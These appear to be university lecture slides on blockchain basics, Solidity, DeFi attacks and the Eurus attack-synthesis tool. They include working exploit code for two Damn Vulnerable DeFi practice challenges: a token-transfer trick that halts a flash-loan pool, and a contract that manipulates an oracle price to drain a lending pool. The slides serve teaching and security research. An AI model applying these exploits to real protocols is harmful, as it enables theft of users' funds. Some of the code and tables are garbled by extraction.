# UCSB S22 CS292C Attack Synthesis for Blockchain Security

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# A Quick Glance into Blockchaino-

What is a blockchain and how does it work? We will briefly discuss its underlying mechanism and example applications built using blockchain technologies.

## What is a blockchain?

A *blockchain* is a globally shared, transactional database. If you want to change something in the database, you have to create a so-called transaction which has to be accepted by all others.

- The word transaction implies that the change you want to make (assume you want to change two values at the same time) is either not done at all or completely applied.
- Furthermore, while your transaction is being applied to the database, no other transaction can alter it.
- A transaction is always cryptographically signed by the sender (creator). This makes it straightforward to guard access to specific modifications of the database.



## A Quick Glance into Blockchain



- Government
- Waste Management
- Identification
- Border Control
- Healthcare
- Enterprise
- Medical
- Carbon Offsets
- Supply Chains
- Diamonds
- Real Estate
- Fishing Industry
- Fine Art
- Public Utilities
- LGBT Rights

https://medium.com/@essentia1/50-examples-of-how-blockchains-are-taking-over-the-world-4276bf488a4b

## **Blockchain for Gaming: Dark Forest**



https://zkga.me/

## How does a blockchain work?



Read more at: <u>https://docs.soliditylang.org/en/v0.8.13/introduction-to-smart-contracts.html#blockchain-basics</u>

## Today's Blockchains

	Name 👻	Brief (Marketing) Description	Website v	Whitepaper/Docs 🔹	Туре 🔹	BC Profile v	Rating -
1	Bitcoin	First, and most secure PoW chain.	https://bitcoin.org/de/	https://bitcoin.org/bit	Public chain	https://blockchai	****
2	Ethereum	Biggest smart contract platform	https://ethereum.org/	https://ethereum.org/	Public chain	https://blockchai	*****
3	Near	Sharded PoS smart contract bloc	https://nearprotocol.co	https://near.org/pape	Public chain	https://blockchai	****
4	Cosmos	Blockchain ecosystem of separat	https://cosmos.network/	https://cosmos.netw	Public chain	https://blockchai	****
5	Solana	High-throughput layer 1 blockch	https://solana.com/	https://solana.com/s	Public chain		****
6	Polkadot	Blockchain ecosystem with share	http://polkadot.network/	https://polkadot.netw	Public chain	https://blockchai	****
7	Avalanche	Smart contract blockchain	https://www.avalabs.org/	https://www.avalabs	Public chain		****
8	Terra	Protocol for stablecoins based o	https://terra.money/pro	https://terra.money/s	Public chain		****
9	Binance Smart	Cheap Eth fork with solid adoptio	https://www.binance.or	https://www.binance	Public chain		****
10	Algorand	Smart asset blockchain, simple s	https://www.algorand.c	https://arxiv.org/abs/	Public chain	https://blockchai	***
11	Waves	Smart asset blockchain with focu	https://wavesplatform.c	https://medium.com/	Public chain	https://blockchai	***
12	Litecoin	Early, prominent Bitcoin fork	https://litecoin.org/	https://litecoin.info/in	Public chain	https://blockchai	***
13	Tezos	Smart contract blockchain	https://tezos.com/	https://tezos.com/sta	Public chain	https://blockchai	***
14	Celo	EVM-compatible platform for sta	https://celo.org/	https://www.google.c	Public chain	https://blockchai	***
15	Tron	Smart contract blockchain	https://tron.network/	https://tron.network/	Public chain	https://blockchai	***
16	Fetch.ai	Artificial intelligence for blockch	https://fetch.ai/	https://fetch.ai/wp-c	Public chain		***
47	Cordono	Cmart contract platform	https://www.aardana.ar	https://www.cordona	Dublic chain	https://blackabai	

## Decentralized Applications (DApps) & Decentralized Finance (DeFi)

Decentralized finance (DeFi) is an emerging financial technology based on secure distributed ledgers similar to those used by cryptocurrencies. The system removes the control banks and institutions have on money, financial products, and financial services. Some of the key attractions of DeFi for many consumers are:

- It eliminates the fees that banks and other financial companies charge for using their services.
- You hold your money in a secure digital wallet instead of keeping it in a bank.
- Anyone with an internet connection can use it without needing approval.
- You can transfer funds in seconds and minutes.



# **Programming for Ethereum**

How do we write programs that run on blockchain? We will discuss one of the programming languages for writing smart contracts called Solidity, which targets the Ethereum blockchain. In particular, we will discuss the following topics:

- Ethereum Virtual Machine (EVM)
- The Solidity Programming Language with Examples
- Remix IDE

## Ethereum Virtual Machine (EVM): Overview

The Ethereum Virtual Machine or EVM is the runtime environment for smart contracts in Ethereum. It is not only sandboxed but actually completely isolated, which means that code running inside the EVM has no access to network, filesystem or other processes. Smart contracts even have limited access to other smart contracts.



EVM Official Docs: <u>https://ethereum.org/en/developers/docs/evm/</u>

Solidity EVM Intro: https://docs.soliditylang.org/en/v0.8.13/introduction-to-smart-contracts.html#index-6

## Ethereum Virtual Machine (EVM): Key Notions

#### Accounts

There are two kinds of accounts in Ethereum which share the same address space: External accounts that are controlled by public-private key pairs (i.e. humans) and contract accounts which are controlled by the code stored together with the account.

#### **Transaction**

A transaction is a message that is sent from one account to another account (which might be the same or empty, see below). It can include binary data (which is called "payload") and Ether.

#### <u>Gas</u>

Upon creation, each transaction is charged with a certain amount of gas, whose purpose is to limit the amount of work that is needed to execute the transaction and to pay for this execution at the same time. While the EVM executes the transaction, the gas is gradually depleted according to specific rules.



EVM Official Docs: <u>https://ethereum.org/en/developers/docs/evm/</u>

Solidity EVM Intro: https://docs.soliditylang.org/en/v0.8.13/introduction-to-smart-contracts.html#index-6

## Smart Contracts and the Solidity Programming Language (1)

Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs which govern the behaviour of accounts within the Ethereum state.

contract Variables {

3

#### A Simple Contract

Variables

// SPDX-License-Identifier: MIT // SPDX-License-Identifier: MIT pragma solidity ^0.8.10;

```
contract Counter {
   uint public count;
```

pragma solidity ^0.8.10;

// Function to get the current count function get() public view returns (uint) { return count;

```
// Function to increment count by 1
function inc() public {
    count += 1:
```

```
// Function to decrement count by 1
function dec() public {
   // This function will fail if count = 0
    count -= 1:
```

```
// State variables are stored on the blockchain.
string public text = "Hello";
uint public num = 123;
function doSomething() public {
    // Local variables are not saved to the blockchain.
    uint i = 456:
```

// Here are some global variables uint timestamp = block.timestamp; // Current block timestamp address sender = msg.sender; // address of the caller



Read more at: https://solidity-by-example.org/

## Smart Contracts and the Solidity Programming Language (2)



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

#### contract Mapping {

3

}

// Mapping from address to uint
mapping(address => uint) public myMap;

#### function get(address \_addr) public view returns (uint) {

// Mapping always returns a value.
// If the value was never set, it will return the default value.
return myMap[\_addr];

```
function set(address _addr, uint _i) public {
```

// Update the value at this address
myMap[\_addr] = \_i;

```
function remove(address _addr) public {
```

// Reset the value to the default value.
delete myMap[\_addr];

Arrays

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

```
contract Array {
    // Several ways to initialize an array
    uint[] public arr;
    uint[] public arr2 = [1, 2, 3];
    // Fixed sized array, all elements initialize to 0
    uint[10] public myFixedSizeArr;
```

function get(uint i) public view returns (uint) {
 return arr[i];

```
// Solidity can return the entire array.
// But this function should be avoided for
// arrays that can grow indefinitely in length.
function getArr() public view returns (uint[] memory) {
    return arr;
}
```

}

#### function push(uint i) public {

// Append to array
// This will increase the array length by 1.
arr.push(i);

#### function pop() public {

// Remove last element from array
// This will decrease the array length by 1
arr.pop();

Read more at: https://solidity-by-example.org/

#### function getLength() public view returns (uint) { return arr.length;

#### function remove(uint index) public {

// Delete does not change the array length.
// It resets the value at index to it's default value,
// in this case 0
delete arr[index];

ι

#### function examples() external {

// create array in memory, only fixed size can be created uint[] memory a = new uint[](5);



## Smart Contracts and the Solidity Programming Language (3)

#### A Simple Wallet

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
```

```
contract EtherWallet {
    address payable public owner;
```

```
constructor() {
    owner = payable(msg.sender);
}
```

```
receive() external payable {}
function withdraw(uint _amount) external {
   require(msg.sender == owner, "caller is not owner");
   payable(msg.sender).transfer(_amount);
}
function getBalance() external view returns (uint) {
   return address(this).balance;
```



Try it on Remix IDE



Remix IDE: <u>https://remix.ethereum.org/</u> Read more at: <u>https://solidity-by-example.org/</u>

# Attacks on Decentralized Apps

How do common attacks on DApps look like? We will discuss the following two examples:

- Example #1: Unstoppable
- Example #2: Puppet

We will also discuss the following topics:

- Decentralized Apps (DApps)
- Uniswap
- Flash Loan



## Why do we care about security of DApps?

Blockchain-based decentralized finance protocols (I.e., DeFi) have attracted a recent surge in popularity and value stored exceeding <u>13 billion USD</u>. The currently most popular DeFi platforms are based on the Ethereum blockchain and its system of smart contracts, which regularly gives nascence to new applications, mirrored and inspired by the traditional centralized finance system.

Examples include asset exchanges, margin trading, lending/borrowing platforms, and derivatives. DeFi, moreover, can surprise with novel use-cases such as constant product market maker exchanges and flash loans — instant loans where the lender bears no risk that the borrower does not repay the loan.

With the rapid growth of the DeFi ecosystem, security issues are also emerging. For instance, in Oct 2021, Indexed Finance has lost over \$16 million worth of users' assets after a hacker exploited a vulnerability in the protocol's smart contracts.

## An Incomplete List of DeFi Attacks Reported

- Ronin Network \$625 million
- PolyNetwork \$600 million
- Cream Finance \$130 million (October)
- Badger \$120 million
- Liquid \$94 million
- EasyFi \$81 million
- bZx \$55 million
- Uranium Finance \$50 million
- Cream Finance \$37 million (February)
- Alpha Homora \$37 million
- Vee Finance \$35 million
- Meerkat Finance \$31 million
- Spartan \$30 million
- Cream Finance \$29 million (August)
- pNetwork \$12 million
- Rari Capital \$11 million



Source: <u>https://therecord.media/more-than-625-million-stolen-in-defi-hack-of-ronin-network/</u>

## The bZx Hack

A hacker has stolen an estimated \$55 million worth of cryptocurrency assets from bZx, a decentralized finance (DeFi) platform that allows users to borrow, loan, and speculate on cryptocurrency price variations.



See more at: <u>https://peckshield.medium.com/bzx-hack-full-disclosure-with-detailed-profit-analysis-e6b1fa9b18fc</u>

## Example#1: Unstoppable

There's a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans. You start with 100 DVT tokens in balance.

See original challenge here: https://www.damnvulnerabledefi.xyz/challenges/1.html



## Example#1: Unstoppable

16	<pre>contract UnstoppableLender is ReentrancyGuard {</pre>	12	contract ReceiverUnstoppable {
17		13	
18	IERC20 public immutable damnValuableToken;	14	UnstoppableLender private immutable pool;
19	uint256 public poolBalance; Lender Contract	15	address private immutable owner;
20		16	
21	<pre>constructor(address tokenAddress) {</pre>	17	<pre>constructor(address poolAddress) {</pre>
22	<pre>require(tokenAddress != address(0), "Token address cannot be zero");</pre>	18	<pre>pool = UnstoppableLender(poolAddress);</pre>
23	<pre>damnValuableToken = IERC20(tokenAddress);</pre>	19	owner = msg.sender;
24	}	20	}
25		21	
26	<pre>function depositTokens(uint256 amount) external nonReentrant {</pre>	22	// Pool will call this function during the flash loan
27	<pre>require(amount &gt; 0, "Must deposit at least one token");</pre>	23	<pre>function receiveTokens(address tokenAddress, uint256 amount) external {</pre>
28	// Transfer token from sender. Sender must have first approved them.	24	<pre>require(msg.sender == address(pool), "Sender must be pool");</pre>
29	<pre>damnValuableToken.transferFrom(msg.sender, address(this), amount);</pre>	25	// Return all tokens to the pool
30	<pre>poolBalance = poolBalance + amount;</pre>	26	<pre>require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");</pre>
31	}	27	}
32		28	
33	<pre>function flashLoan(uint256 borrowAmount) external nonReentrant {</pre>	29	<pre>function executeFlashLoan(uint256 amount) external {</pre>
34	<pre>require(borrowAmount &gt; 0, "Must borrow at least one token");</pre>	30	<pre>require(msq.sender == owner, "Only owner can execute flash loan");</pre>
35		31	pool.flashLoan(amount):
36	<pre>uint256 balanceBefore = damnValuableToken.balanceOf(address(this));</pre>	32	}
37	<pre>require(balanceBefore &gt;= borrowAmount, "Not enough tokens in pool");</pre>	33	}
38			
39	<pre>// Ensured by the protocol via the `depositTokens` function</pre>		
40	<pre>assert(poolBalance == balanceBefore);</pre>		
41			
42	<pre>damnValuableToken.transfer(msg.sender, borrowAmount);</pre>		
43			
44	<pre>IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);</pre>		
45			
46	<pre>uint256 balanceAfter = damnValuableToken.balanceOf(address(this));</pre>	R	Receiver Contract
47	<pre>require(balanceAfter &gt;= balanceBefore, "Flash loan hasn't been paid back");</pre>		
48	}		
40			

## Example#1: Unstoppable – A Solution Attack

### Say something... it("Exploit", async function () { /\*\* YOUR EXPLOIT GOES HERE \*/ // need to break the functionality of the flash loan contract // we can send tokens to the contract without calling deposit // which makes the balance go up, but not poolBalance storage var // flashLoan will fail in assert await this.token.transfer(this.pool.address, INITIAL\_ATTACKER\_BALANCE, { from: attacker, }); });

16	cont	<pre>ract UnstoppableLender is ReentrancyGuard {</pre>
17		IEDC20 public immutable dampValuableToken:
10		uint256 nublic noolBalance:
20		unitzoo public poolbatance,
21		constructor(address tokenAddress) {
22		require(tokenAddress l= address(0) "Token address cannot be zero"):
23		damnValuableToken = IERC20(tokenAddress):
24		}
25		·
26		<pre>function depositTokens(uint256 amount) external nonReentrant {</pre>
27		<pre>require(amount &gt; 0, "Must deposit at least one token");</pre>
28		// Transfer token from sender. Sender must have first approved them.
29		<pre>damnValuableToken.transferFrom(msg.sender, address(this), amount);</pre>
30		<pre>poolBalance = poolBalance + amount;</pre>
31		}
32		
33		<pre>function flashLoan(uint256 borrowAmount) external nonReentrant {</pre>
34		<pre>require(borrowAmount &gt; 0, "Must borrow at least one token");</pre>
35		
36		<pre>uint256 balanceBefore = damnValuableToken.balanceOf(address(this));</pre>
37		<pre>require(balanceBefore &gt;= borrowAmount, "Not enough tokens in pool");</pre>
38		
39		<pre>// Ensured by the protocol via the `depositTokens` function</pre>
40		<pre>assert(poolBalance == balanceBefore);</pre>
41		
42		damnValuableToken.transfer(msg.sender, borrowAmount);
43		
44		<pre>IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);</pre>
45		
46		<pre>uint256 balanceAfter = damnValuableToken.balanceOf(address(this));</pre>
47		<pre>require(balanceAfter &gt;= balanceBefore, "Flash loan hasn't been paid back");</pre>
48		}
49	ł	

## Example#2: Puppet

There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

See original challenge here: https://www.damnvulnerabledefi.xyz/v1/challenges/8.html

#### Lender Contract

36

37

38 39

40

41 42

43

44

45 46

47 48

49 50 }

8	<pre>contract PuppetPool is ReentrancyGuard {</pre>	22
9		23
10	using SafeMath for uint256;	24
11	using Address for address payable;	25
12		26
13	address public uniswapOracle;	27
14	<pre>mapping(address =&gt; uint256) public deposits;</pre>	28
15	DamnValuableToken <mark>public</mark> token;	29
16		30
17	<pre>constructor (address tokenAddress, address uniswapOracleAddress) public {</pre>	31
18	<pre>token = DamnValuableToken(tokenAddress);</pre>	32
19	uniswapOracle = uniswapOracleAddress;	33
20	}	34
		35

// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH function borrow(uint256 borrowAmount) public payable nonReentrant { uint256 amountToDeposit = msg.value; uint256 tokenPriceInWei = computeOraclePrice(); uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) \* 2; require(amountToDeposit >= depositRequired, "Not depositing enough collateral"); if (amountToDeposit > depositRequired) { uint256 amountToReturn = amountToDeposit - depositRequired; amountToDeposit -= amountToReturn; msg.sender.sendValue(amountToReturn); } deposits[msg.sender] += amountToDeposit; // Fails if the pool doesn't have enough tokens in liquidity require(token.transfer(msg.sender, borrowAmount), "Transfer failed"); } function computeOraclePrice() public view returns (uint256) { return uniswapOracle.balance.div(token.balanceOf(uniswapOracle)); } /\*\* ... functions to deposit, redeem, repay, calculate interest, and so on ... \*/

## Uniswap: A Cryptocurrency Exchange

Uniswap is a completely different type of exchange that's fully decentralized – meaning it isn't owned and operated by a single entity – and uses a relatively new type of trading model called an *automated liquidity protocol*.



Quantity of A tokens in pool

Read more at: <u>https://www.coindesk.com/business/2021/02/04/what-is-uniswap-a-</u>complete-beginners-guide/

## Example#2: Puppet – A Solution Attack

5	<pre>interface IPuppetPool {</pre>	34		
6	<pre>function computeOraclePrice() external view returns (uint256);</pre>	35		
7		36		
8	<pre>function borrow(uint256 borrowAmount) external payable;</pre>			
9	}	38		
10		30		
11	<pre>interface IUniswapExchange {</pre>	40		
12	<pre>function tokenToEthSwapInput(</pre>			
13	uint256 tokens_sold,	41		
14	uint256 min_eth,	42		
15	uint256 deadline	43		
16	) external returns (uint256);	44		
17	}	45		
18		46		
19	contract PuppetAttacker {	47		
20	IERC20 token;	48		
21	IPuppetPool pool;			
22	IUniswapExchange uniswap;			
23		50		
24	constructor(	21		
25	IERC20 _token,	52		
26	IPuppetPool _pool,	53		
27	IUniswapExchange _uniswap	54		
28	) public {	55		
29	<pre>token = _token;</pre>	56		
30	<pre>pool = _pool;</pre>	57		
31	uniswap = _uniswap;	58		
32	}	59		
33		60	}	
			~	

#### function attack(uint256 amount) public { // trade tokens to ETH to increase tokens balance in uniswap require(token.balanceOf(address(this)) >= amount, "not enough tokens"); token.approve(address(uniswap), amount); uint256 ethGained = uniswap.tokenToEthSwapInput(amount, 1, block.timestamp + 1); // computeOraclePrice has integer division issue which will make price 0 // as soon as token balance is greater than ETH balance require(pool.computeOraclePrice() == 0, "oracle price not 0"); // now borrow everything from the pool at a price of 0 pool.borrow(token.balanceOf(address(pool))); // success condition is that attacker's ETH balance did not decrease // but it reduced due to gas cost, just send back the eth we gained from the swap // transfer all tokens & eth to attacker EOA require( token.transfer(msg.sender, token.balanceOf(address(this))), "token transfer failed" ); msg.sender.transfer(ethGained); } // required to receive ETH from uniswap receive() external payable {}

# Eurus: Precise Attack Synthesis for Decentralized Apps

Eurus is our ongoing project that aims at synthesizing attacks for decentralized apps. We discuss how Eurus works by:

- Eurus' DSL and Specification Design for Attack Synthesis
- Eurus' Symbolic Virtual Machine

We will also discuss the following topics:

- Symbolic Compilation Using Rosette
- Ethereum Virtual Machine (EVM)
- The YUL Intermediate Language



## What are the challenges for DApp attack synthesis?

*Sophisticated interactions*. DeFi apps often consist of multiple smart contracts that interact with each other, e.g., the notorious attack on bZx. Since the search space goes beyond the capability of existing tools, how to analyze the complicated interactions between smart contracts and effectively reduce the search space is the first challenge.

*Semantic gap*. Existing tools mainly express exploits at the function level (e.g., Solar) or EVM bytecode level (e.g., Oyente), which dramatically increases the search space and complexity of attack synthesis. However, we note that there is a huge semantic gap between raw transactions observed on Ethereum and high-level DeFi semantics that are defined in DeFi apps. For example, on Ethereum, we can only observe the field values of these (external or internal) transactions, such as from, to, and input. However, we cannot get the high-level DeFi semantics such as "there exists an account that trades 861.95 USDC for 0.5 Ether in the USDC-Ether pool using the Uniswap V2 protocol". This high-level DeFi semantic is critical to reduce the search space of synthesis since the attack usually involves the trade of tokens.

## Eurus: An Overview

To use Eurus, a security analyst expresses a target vulnerability query (e.g., reachability or price manipulation via preand post conditions).

Eurus first constructs a *symbolic attack program* with holes that represent *unknown* function calls. Then it leverages Rosette to enumerate all possible ways of instantiating these holes and finally checks whether there exists a candidate that satisfies the query.



## A Crash Course: Symbolic Compilation



## Symbolic Compilation of YUL Programs

Yul (previously also called JULIA or IULIA) is an intermediate language that can be compiled to bytecode for different backends. The design of Yul tries to achieve several goals:

- Programs written in Yul should be readable, even if the code is generated by a compiler from Solidity or another high-level language.
- Control flow should be easy to understand to help in manual inspection, formal verification and optimization.
- The translation from Yul to bytecode should be as straightforward as possible.
- Yul should be suitable for whole-program optimization.

```
{
  function power(base, exponent) -> result
  {
    switch exponent
    case 0 { result := 1 }
    case 1 { result := base }
    default
    {
        result := power(mul(base, base), div(exponent, 2))
        switch mod(exponent, 2)
        case 1 { result := mul(base, result) }
    }
  }
  Example YUL Code Snippet
}
```

## Building A Symbolic Ethereum Virtual Machine (EVM)

#### Memory/Storage Model

- Modeling memory as a vector (symbolic, builtin with Rosette)
- Modeling storage as a hash (symbolic, need to create one)
- Scalability issues

#### Hashing Mechanism

- Modeling keccak256 hashing (or do we really need it?)
- Differences between hashing of function (callcode) and hashing of access path (address)

#### EVM Calldata & Dispatching

- Calldata is an instance of memory that provide necessary info for a call
- A call is then dispatched to its corresponding function in a contract according to its callcode
- Coordinating with the Symbolic Blockchain Account Mananger

## Example YUL Program Snippet of PuppetPool



The [V] Specification Language

[V] is made up of statements of the form:

action ( target , property )

Blockchain Action (e.g. transaction started, finished or reverted)

Contract Target (e.g. contract function, money transfer, event)

State Property (e.g. assertion using blockchain vars, contract vars and pure/view functions)

Example:

finished (erc20.transfer(to, amt), to = alice && amt = 100)

## Eurus: A Demo and Future (Ongoing) Work

- Build and support the [V] specification language
- Improve the scalability of symbolic hashing utilities
- Automatic generation and pruning of sketch using

Eurus is open-sourced and under active development. Try it on Github: <u>https://github.com/Veridise/Eurus</u>



## Conclusions

- A Quick Glance into Blockchain
- Programming for Ethereum
- Attacks on Decentralized Apps
- Eurus: Precise Attack Synthesis for DApps





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